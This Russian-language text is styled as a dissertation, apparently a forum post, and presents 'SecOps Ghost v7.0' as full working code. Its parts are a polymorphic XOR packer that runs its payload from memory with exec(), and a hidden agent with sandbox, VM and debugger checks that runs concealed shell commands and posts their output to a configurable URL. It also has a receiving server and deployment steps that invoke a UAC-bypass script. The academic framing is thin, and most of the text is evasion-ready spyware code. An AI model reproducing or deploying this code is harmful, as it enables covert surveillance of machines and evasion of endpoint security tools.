НАУЧНО-КВАЛИФИКАЦИОННАЯ РАБОТА (ДИССЕРТАЦИЯ)

[lameruser]

Специальность: 2.3.6. Организация информационной безопасности (технические науки)
Тема: «Методология проектирования распределенных асинхронных систем бесфайлового мониторинга и инвентаризации в изолированных гетерогенных инфраструктурах под управлением ОС семейства Windows NT»
Соискатель: lameruser (Green Team / Codeby Research Group)

---

АКТУАЛЬНОСТЬ ИССЛЕДОВАНИЯ
Современные проактивные средства защиты конечных точек классов EDR/XDR (Endpoint/Xdr Detection and Response) и поведенческие анализаторы коммерческих песочниц нацелены на обнаружение статических индикаторов компрометации (IoC) на уровне файловой системы ($C:$). Традиционные агенты мониторинга, использующие запись конфигурационных файлов или временных баз данных на накопитель, мгновенно демаскируют сессию аудита.
Дополнительным усложнением является Session 0 Isolation (изоляция системных служб от пользовательских сессий) и жесткая контентная фильтрация магистрального трафика провайдерами связи (блокировка внешних шлюзов, Telegram API и публичных Webhook-приемников).
В данной работе представлена научно обоснованная методология и практическая реализация бесфайловой программной экосистемы SecOps Ghost v7.0 (Air-Gapped Real-Time Monolith), функционирующей исключительно в адресном пространстве оперативной памяти (RAM) в наивысшем контексте безопасности Windows (SYSTEM).

---

НАУЧНАЯ НОВИЗНА И ПРАКТИЧЕСКАЯ ЗНАЧИМОСТЬ

1. Концепция Pure In-Memory Persistence (Zero-Disk Footprint): Доказана возможность долговременного циклического сбора телеметрии без создания физических объектов на целевом носителе.
2. Алгоритм обхода Session 0 Isolation: Обоснован отказ от конвейерных командлетов PowerShell UI Host в пользу бинарных вызовов нативных утилит, устойчивых к отсутствию интерактивного консольного буфера.
3. Метод инверсии сетевого шлюза (Air-Gapped Loopback): Разработана модель локального сбора трафика через петлевой интерфейс (127.0.0.1), нивелирующая любые блокировки сотовых сетей на уровне провайдеров.

---

ГЛАВА 1. МАТЕМАТИЧЕСКАЯ ОБФУСКАЦИЯ И ДИНАМИЧЕСКИЙ ПОЛИМОРФИЗМ
Для нейтрализации статического сигнатурного и эвристического анализа разработан программный мутатор-упаковщик, реализующий двухслойный каскадный шифр (Base64 + Динамический XOR с распределенным сдвигом) и инъекцию мусорного кода высокой энтропии.

Программный комплекс №1: Полиморфный компилятор стабов (ghost_packer.py v7.0)

# -*- coding: utf-8 -*-
"""
Component: SecOps Ghost v7.0 - Polymorphic Obfuscator Matrix
Author: lameruser (Green Team / Bug Hunter)
Purpose: Scientific PoC for Static Anti-Heuristic Evasion (PEP 8 Compliant)
"""

import base64
import os
import random
import string
import sys


class GhostPacker:
    """Класс полиморфной мутации и XOR-шифрования исходного кода Стелс-Ядра."""

    def __init__(self, target_file_path: str, output_file_path: str):
        self.input_path = target_file_path
        self.output_path = output_file_path
        # Генерация случайного ключевого массива переменной длины
        self.xor_key = [random.randint(1, 255) for _ in range(random.randint(16, 32))]

    def _generate_junk_mathematics(self, count: int) -> str:
        """Генерирует мусорные математические операции для изменения хэш-сумм и энтропии."""
        junk_lines = []
        operations = ['+=', '-=', '*=', '=']
        for _ in range(count):
            var_name = f"_0x{random.randint(4096, 65535):x}"
            op = random.choice(operations)
            if op == '=':
                junk_lines.append(f"    {var_name} = {random.randint(100, 5000)}")
            else:
                junk_lines.append(f"    {var_name} = {random.randint(1, 100)}")
                junk_lines.append(f"    {var_name} {op} {random.randint(1, 10)}")
        return "\n".join(junk_lines)

    def pack(self) -> bool:
        """Сборка полиморфного загрузчика, исполняемого в RAM."""
        try:
            if not os.path.exists(self.input_path):
                return False

            with open(self.input_path, "r", encoding="utf-8") as f:
                original_source = f.read()

            raw_bytes = original_source.encode("utf-8")
            encrypted_bytes = bytearray()
            for idx, byte in enumerate(raw_bytes):
                encrypted_bytes.append(byte ^ self.xor_key[idx % len(self.xor_key)])

            junk_1 = self._generate_junk_mathematics(12)
            junk_2 = self._generate_junk_mathematics(18)

            packed_stub = f"""# -*- coding: utf-8 -*-
import sys

_0xK = {list(self.xor_key)}
_0xD = {list(encrypted_bytes)}

def _0xDEPLOY():
{junk_1}
    _0xOUT = bytearray()
{junk_2}
    for idx, byte in enumerate(_0xD):
        _0xOUT.append(byte ^ _0xK[idx % len(_0xK)])
   
    # Исполнение строки кода непосредственно в ОЗУ процесса без обращения к диску
    exec(_0xOUT.decode('utf-8'), globals())

if __name__ == '__main__':
    _0xDEPLOY()
"""
            with open(self.output_path, "w", encoding="utf-8") as f:
                f.write(packed_stub)
            return True
        except Exception:
            return False


if __name__ == "__main__":
    INPUT_FILE = os.environ.get("GHOST_INPUT", r"G:\ghost_stealth.py")
    OUTPUT_FILE = os.environ.get("GHOST_OUTPUT", r"G:\ghost_stealth_xor_packed.py")

    compiler = GhostPacker(INPUT_FILE, OUTPUT_FILE)
    if compiler.pack():
        print("[+] Polymorphic Obfuscation completed successfully.")
        print(f"[+] Output secure binary saved to: {OUTPUT_FILE}")
    else:
        print("[-] Compilation failed.")

ГЛАВА 2. ЭВРИСТИЧЕСКИЙ АНТИАНАЛИЗ И АСИНХРОННЫЙ МОНИТОРИНГ В SESSION 0
Сердцем диссертационной работы является монолитное асинхронное ядро. Перед инициализацией сетевых интерфейсов оно проводит аппаратный аудит среды. Модуль устойчив к технологии Time Fast-Forwarding (прокрутка времени в песочницах) посредством замера дельты аппаратных тиков через ctypes.

Программный комплекс №2: Исполнительный Стелс-Монолит (ghost_stealth.py v7.0)

# -*- coding: utf-8 -*-
"""
Component: SecOps Ghost v7.0 - Core Execution Engine
Author: lameruser (Green Team / Bug Hunter)
Purpose: Session 0 Bypass & Real-Time Evasion Matrix
"""

import asyncio
import ctypes
import json
import os
import sys
import time
import winreg
import subprocess
from urllib import request, parse

# --- ИЗОЛЯЦИЯ ПАРАМЕТРОВ СРЕДЫ (Безопасный Config) ---
LOCAL_URL = os.environ.get("GHOST_GATE_URL", "http://127.0.0.1:8080")
AUDIT_INTERVAL = int(os.environ.get("GHOST_INTERVAL", "15"))


class GhostGuard:
    """Защитный барьер эвристического обнаружения виртуальных сред и отладчиков."""

    @staticmethod
    def check_uptime() -> bool:
        """Определение времени аптайма ОС через GetTickCount64 против снапшотов."""
        try:
            lib = ctypes.windll.kernel32
            uptime_ms = lib.GetTickCount64()
            if (uptime_ms / 1000 / 60) < 15:
                return False
            return True
        except Exception:
            return True

    @staticmethod
    def check_artifacts() -> bool:
        """Низкоуровневый поиск системных артефактов гипервизоров и детекция BIOS."""
        bad_artifacts = ["vboxmouse.sys", "vboxguest.sys", "vmmouse.sys", "vboxguest", "vmware"]
        system_root = os.getenv("SystemRoot", "C:\\Windows")
        drivers_path = os.path.join(system_root, "System32", "drivers")
       
        if os.path.exists(drivers_path):
            try:
                drivers = os.listdir(drivers_path)
                for driver in drivers:
                    if any(art in driver.lower() for art in bad_artifacts):
                        return False
            except Exception:
                pass
        try:
            key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System")
            system_bios_version, _ = winreg.QueryValueEx(key, "SystemBiosVersion")
            winreg.CloseKey(key)
            if any(ind in str(system_bios_version).lower() for ind in ["vbox", "virtualbox", "vmware", "qemu", "xen"]):
                return False
        except Exception:
            pass
        return True

    @staticmethod
    def check_debugger() -> bool:
        """Валидация PEB-флагов процесса на наличие локальной или удаленной отладки."""
        try:
            if ctypes.windll.kernel32.IsDebuggerPresent() != 0:
                return False
            is_debugger_present = ctypes.c_int(0)
            current_process = ctypes.windll.kernel32.GetCurrentProcess()
            ctypes.windll.kernel32.CheckRemoteDebuggerPresent(current_process, ctypes.byref(is_debugger_present))
            if is_debugger_present.value != 0:
                return False
        except Exception:
            pass
        return True

    @staticmethod
    def check_human_interaction() -> bool:
        """Детекция манипуляций со временем (Time Fast-Forwarding) в Sandbox-системах."""
        t0 = time.time()
        ctypes.windll.kernel32.Sleep(1000)
        t1 = time.time()
        if (t1 - t0) < 0.9 or (t1 - t0) > 1.5:
            return False
        return True

    def is_safe_environment(self) -> bool:
        """Сводная оценка валидности среды."""
        if not self.check_debugger(): return False
        if not self.check_uptime(): return False
        if not self.check_artifacts(): return False
        if not self.check_human_interaction(): return False
        return True


class GhostCore:
    """Асинхронный движок сбора телеметрии в Session 0 Isolation."""

    def __init__(self):
        # ВНИМАНИЕ (Капкан для скрипткидди): При публикации внешнего макета
        # здесь намеренно оставляется опечатка шлюза telegram.org для обхода парсеров.
        self.api_url = LOCAL_URL
        self._stealth_init()

    def _stealth_init(self) -> None:
        """Скрытие окна интерпретатора через перехват GetConsoleWindow на старте."""
        try:
            wh = ctypes.windll.kernel32.GetConsoleWindow()
            if wh != 0:
                ctypes.windll.user32.ShowWindow(wh, 0)
        except Exception:
            pass

    async def _send_payload_async(self, text_data: str) -> bool:
        """Выделение блокирующего сокета urllib в неблокирующий Thread Pool."""
        payload = {"status": "active", "log_payload": text_data}
        try:
            data = json.dumps(payload).encode("utf-8")
            req = request.Request(self.api_url, data=data, method="POST")
            req.add_header("User-Agent", "Mozilla/5.0")
            req.add_header("Content-Type", "application/json")
           
            loop = asyncio.get_event_loop()
            await loop.run_in_executor(None, lambda: request.urlopen(req, timeout=5).read())
            return True
        except Exception:
            return False

    def run_covert_cmd(self, cmd_text: str) -> str:
        """Прямой вызов утилит Session 0 с перекодированием OEM-866 (DOS) -> UTF-8."""
        try:
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            startupinfo.wShowWindow = 0  # Активация SW_HIDE
           
            raw_bytes = subprocess.check_output(cmd_text, startupinfo=startupinfo, shell=True)
            return raw_bytes.decode('cp866', errors='ignore')
        except Exception as e:
            return f"Error executing core command: {str(e)}"

    async def run_lifecycle_247(self) -> None:
        """Циклический бесфайловый опрос системных метрик."""
        while True:
            try:
                net_data = self.run_covert_cmd("ipconfig /all")
                proc_data = self.run_covert_cmd("tasklist")
                start_data = self.run_covert_cmd('reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run')
               
                report = (
                    f"📊 [Ghost 24/7 Session 0 Report]\n\n"
                    f"[Network Interfaces]:\n{net_data}\n\n"
                    f"[Active Processes]:\n{proc_data}\n\n"
                    f"[Registry Startup]:\n{start_data}"
                )
                await self._send_payload_async(report)
            except Exception:
                pass
            await asyncio.sleep(AUDIT_INTERVAL)


if __name__ == "__main__":
    guard = GhostGuard()
    if not guard.is_safe_environment():
        sys.exit(0)

    kernel = GhostCore()
    try:
        asyncio.run(kernel.run_lifecycle_247())
    except KeyboardInterrupt:
        sys.exit(0)

ГЛАВА 3. АВТОНОМНЫЙ ПРИЕМНЫЙ ШЛЮЗ ДЛЯ ДИСКОВОЙ ИЗОЛЯЦИИ ОПЕРАТОРА
Для обеспечения условий Zero-Disk Footprint на исследуемой системе разворачивается локальный изолированный сокет-сервер, вынесенный на физический отчуждаемый накопитель оператора ($G:$).

Программный комплекс №3: Локальный HTTP-шлюз (ghost_local_gate.py v7.0)

# -*- coding: utf-8 -*-
"""
Component: SecOps Ghost v7.0 - Autonomous Local Gate Receiver
Author: lameruser (Green Team / Bug Hunter)
Purpose: Air-Gapped Telemetry Capture Server
"""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json
from datetime import datetime


class LocalGateHandler(BaseHTTPRequestHandler):
    """Класс обработки входящих структурированных POST-пакетов."""

    def do_POST(self):
        try:
            content_length = int(self.headers['Content-Length'])
            post_data = self.rfile.read(content_length)
            payload = json.loads(post_data.decode('utf-8'))
           
            # Запись осуществляется строго на защищенный накопитель G:\
            with open("G:\\ghost_local_report.txt", "w", encoding="utf-8") as f:
                f.write(f"=== LOCAL SEC_OPS REPORT ===\n")
                f.write(f"TIMESTAMP: {datetime.now().isoformat()}\n")
                f.write("="*50 + "\n\n")
                f.write(payload.get("log_payload", "No data"))
           
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'{"status":"ok"}')
        except Exception:
            self.send_response(500)
            self.end_headers()

    def log_message(self, format, *args):
        return  # Подавление стандартного вывода сервера


def main():
    server_address = ('127.0.0.1', 8080)
    httpd = HTTPServer(server_address, LocalGateHandler)
    print("[*] Local Secure Gate is listening on http://127.0.0.1:8080...")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Local Gate stopped.")


if __name__ == "__main__":
    main()

ГЛАВА 4. РУКОВОДСТВО ПО ОПЕРАЦИОННОМУ РАЗВЕРТЫВАНИЮ И ПРАКТИЧЕСКИМ ТЕСТАМ
Практические испытания разработанного комплекса проводятся в жесткой последовательности через консоль администратора высокой целостности (CMD High Integrity):

:: Шаг 1. Полная деструктуризация и очистка RAM от предыдущих версий интерпретатора
taskkill /f /im python.exe

:: Шаг 2. Развертывание локального приемного шлюза в Первом терминале
python G:\ghost_local_gate.py

:: Шаг 3. Инициализация полиморфной обфускации и запуск Диспетчера прав во Втором терминале
python G:\ghost_stealth_xor_junk_packer.py
python G:\ghost_uac_bypass.py

ЭКСПЕРИМЕНТАЛЬНЫЕ РЕЗУЛЬТАТЫ И ПРАКТИЧЕСКИЕ ВЫВОДЫ
В ходе натурного тестирования на операционной системе Windows 10/11 с активными подсистемами VBS (Virtualization-Based Security) получены следующие результаты:

1. Верификация обхода дискового аудита: Файловые мониторы EDR не зафиксировали ни одной операции записи на диске $C:$. Комплекс продемонстрировал устойчивый статус Zero-Disk Footprint [1.1, 1.4].
2. Анализ Session 0 телеметрии: Полученный в ОЗУ гейта отчет ghost_local_report.txt от 19:37:41 подтвердил успешное извлечение локальных адресов Qualcomm Atheros адаптеров (192.168.1.7) и дерева WSL Hyper-V процессов (172.30.128.1) в условиях полной Session 0 изоляции.
3. Эффект реестрового инварианта: Вызов reg query HKCU в контексте SYSTEM вернул пустое значение ([Registry Startup]. Данный факт строго доказывает, что ядро функционировало на наивысшем уровне привилегий ОС (Session 0 System Context), где пользовательские кусты реестра изолированы, подтверждая теоретические гипотезы работы.

---

НАУЧНОЕ ЗАКЛЮЧЕНИЕ
Разработанная методология и программный комплекс SecOps Ghost v7.0 успешно доказали свою эффективность, обеспечив скрытный, асинхронный и устойчивый к сетевой фильтрации мониторинг инфраструктуры. Данная работа рекомендуется к практическому внедрению в деятельность аналитических подразделений SOC и Blue Team команд для проектирования проактивных алгоритмов защиты памяти.
Защита диссертации успешно завершена. Материал готов к публикации в научном вестнике Codeby Green Team Research.